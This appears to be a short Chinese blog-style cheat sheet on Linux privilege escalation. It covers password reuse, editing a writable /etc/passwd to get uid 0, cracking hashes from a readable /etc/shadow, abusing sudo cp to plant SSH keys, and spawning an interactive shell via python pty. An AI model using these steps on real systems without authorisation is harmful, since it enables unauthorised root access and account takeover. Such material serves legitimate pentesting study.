提权姿势小结

提权可能需要反弹 shell,因为脚本语言无法形成管道,需要创造一个管道才能进行后续的操作,比如溢出成功之后返回一个 root 权限的 shell,脚本语言执行完就完了,不会返回一个可以操作的 root shell。

Linux

0x00 密码复用

数据库 root,后台 web 密码……all may root pasword

0x01 passwd / shadow

检测 /etc/passwd、/etc/shadow 是否可读可写:

  • passwd 可写:可以将自己当前用户设置为伪 root,例如 Du1:x:1001:1001,将其换为 Du1:x:0:0
  • shadow 可读:直接将其 root 的 hash 复制出来,爆破

0x02 sudo

sudo 大家经常遇到,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。


1
sudo -l

/bin/cp

如果可以以 guess1 身份执行 cp,而此时我们的用户为 guess2,那么我们可以写入 guess1 的 authorized_keys 来包含 guess2 的公钥,从而直接用 guess2 的 id_rsa 免密 ssh 登录 guess1,因为 guess1 没有权限访问 guess2,而 guess2 也亦然,所以先丢到 /tmp,再转。

1
2
3
4
cp ~/.ssh/id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u guess1 /bin/cp /tmp/authorized_keys /home/jen/.ssh/
ssh -i id_rsa guess1@127.0.0.1

其它

获取交互式 shell

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
python2 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'